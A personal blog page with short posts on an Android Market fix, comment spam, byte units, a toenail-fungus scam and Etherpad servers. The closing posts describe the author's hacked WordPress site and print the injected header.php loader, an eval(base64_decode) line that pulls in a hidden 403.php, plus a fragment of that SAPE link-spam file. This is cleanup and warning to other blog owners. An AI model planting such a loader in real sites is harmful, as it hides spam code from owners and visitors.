Lee.org

from our wing nut friends at PETA

I wiped my Samsung Galaxy S / AT&T Captivate Android phone to try to fix a problem with sound (I’ll hopefully talk about that in a future post). And I came across a problem with the Android Marketplace. It’s possible this problem has existed for a while and I just noticed ithttps://market.android.com/account | Settings reported “There are no Android devices associated with this account”.

There is a lot of discussion and attempted answers on this Google Forum. Here is what fixed the problem for me:

(via) Thanks Droid-Eye!

Droid-Eye
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A FIX FOR SOME!!!!

For those of you who tried this and it didn’t work, or don’t have phone numbers (tablets,) try this, it worked for me.

On your Android: menu>settings>applications>manage applications>all (tab at top)>Market>clear data.

This will clear your data and log your Android out of the market. When you launch the market app and agree to the terms of service again, it will sign you sign your Android back into the market and it should be visible on the web market.

Every day I get 1 or 2 comment spams written by real people that get past my spam filters. Of late they’ve been coming from the Philippines and Ukraine. Usually they are poor excuses for spams. For example, today I received on Burning Man 2010 Resource Guide — Part 1:

I had never heard of Burning Man resources but now I am a fan. Great work ! www.SomeCrappyProduct.whatever

And on How to Avoid Paypal Fees I got

If that money they used to sent you didn’t claimed it for a couple of days. Do they have allotted days to be count on or expiry of the money? Does the receiver will be fines on it? Thanks!

visit my site
www.SuspiciousSurveySite.stupid

and on 3D Wobble Images I got:

URL HerbalScammer.site
This is amazing! I super love effects like this! :D

All potentially written by humans. My personal guess is that the first two are driven by semantic computers and the last one was written by a human. But whatever, this one I got today was definitely written by a beautiful killer of a human.

First, here is my post: Today’s Quote: Han Solo on religion

“Hokey religions and ancient weapons are no match for a good blaster at your side, kid.”
– Han Solo, outspoken skeptic of the Force

Here is the beautiful comment:

URL: TreadmillSalesWebsite.feh
Haha, what a goof that han solo. Who knows if he meant all religious beliefs or simply those that were…”hokey”. I wonder what he believed. I mean spirits are obviously real right, I mean Obi wan visited luke right? Someone should have a good talk with Han about stuff like that.

Reminds me of XKCD

How many bytes is 1 kilobyte? It is 1024 or 1000? It’s kind of ambiguous, isn’t it?

Nope, this problem was solved in 1998.
1 kilobyte is 1000 bytes. That’s 10³.
1 kibibyte is 1024 bytes. that’s 2¹⁰.

And how do you abbreviate it?
1 kilobyte = 1 KB
1 kibibyte = 1 KiB

Similarly, we’ve got
megabyte (MB) 10^6 | mebibyte (MiB) 2^20
gigabyte (GB) 10^9 | gibibyte (GiB) 2^30
terabyte (TB) 10^12 | tebibyte (TiB) 2^40
petabyte (PB) 10^15 | pebibyte (PiB) 2^50

This actually makes good sense. I’ll try to use it from now on.

Read more about it on wikipedia and at NIST

Today I got a comment spam from someone claiming that Fungusil works for them. I did some homework and… it screams “scam”.

Fungusil has undecylenic acid which is as good a topical antifungal as is out there (comparable to lamisil, and vinegar). But topicals don’t have a very good success rate against nail fungus. as the Mayo Clinic writes about undecylenic acid:

undecylenic acid belongs to the group of medicines called antifungals. It is used to treat some types of fungus infections. However, compound undecylenic acid generally has been replaced by newer and more effective medicines for the treatment of fungus infections.

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A google search turns promotional websites that almost look like comparison sites… but aren’t. And testimonials on blogs and forums that are obviously lies. For example

Best Toenail Fungus Treatment – Fungusil?
I’ve just researching for an effective and best toenail fungus treatment and more of the results in google are home remedies product.

And the only response

I’ve tried it last month. And believe it or not, it only takes 7-10 days to remove totally my nail fungus

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The Funginix, Fungusil, and Fungisil websites were obviously built by the same designer. Take a look, the Funginix and Fungisil sites use the same bottle! Why would 3 similar products with similar ingredients be marketed so similarly? Because they are the same product from the same scammer trying to create a false sense of comparison.

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I have written several other posts about these products and I’ve gotten loads of comments from people. Search my site for “fungus” for more on the subject.

Here is the final of 4 parts to Wired’s video “Creating the Nebula” by Reuben Margolin.

Watch it!

Watch part 1 first.

I just wish there was more professional video footage of the sculpture. I want part 5!

I have much bemoaned the loss of Etherpad to the Google. The project was open sourced so, in theory, anyone can run an Etherpad server. But it does take a little bit of nerd accumen to get the thing going. I’ve heard of a couple groups that have started servers… PiratePad, TypeWith.me, Sync.in, EtherPad Foundation, iEtherPad.com. But I’ve been wary of trusting most of these guys. I mean, come on, I’m going to write semi-confidential things on PiratePad?

Here’s one I think I can trust:
etherpad.mozilla.org:9000

My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it hasn’t happened to you.

Here’s where the bad code was and how I fixed it.

The header.php file of my theme had been altered. It began:

<?define('USE_DIRA', '/blog/wp-content/themes/default/images/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>


That code was obviously running code in my /blog/wp-content/themes/default/images/ directory.

Curiously, the “modified date” on the header.php file must have been hacked. I know this because the file has a “last modifed” date of April 2009, however the backup of my website in October 2010 doesn’t have the spamming code. Therefore, the hacked code must have been added more recently.

2 files had been added to the /blog/wp-content/themes/default/images/ directory on the blog:
403.php
links.db

Here are the most suspicious parts of 403.php

define('_SAPE_USER', '466c19cd8253185aebaab9f182431010');
...
eval(@base64_decode("JGJvdGlwcyA9IGFycmF5KAkN


“SAPE” is a known malware (via)

You should never have any “eval base64” code in your WordPress installation. It’s almost always some piece of code trying to hide itself.
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I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.
Update: read the comments!

Darn it, this blog, Lee.org was hacked by spammers. On about 1 in 10 page loads to some of my Category pages, I see links at the very bottom of the blog page to places like this:

http://trixi.com.uaSPAM/index.php?categoryID=1485
playstation 2 киев

and

http://atlantika.com.uaSPAM/brands/43/
muscletech атлантика Элитный салон Стелла предоставляет тонизирующий
http://body.com.uaSPAM
эротический массаж
недорого

I inserted the word “SPAM” to obfuscate it.

I’m working at finding the rogue code now.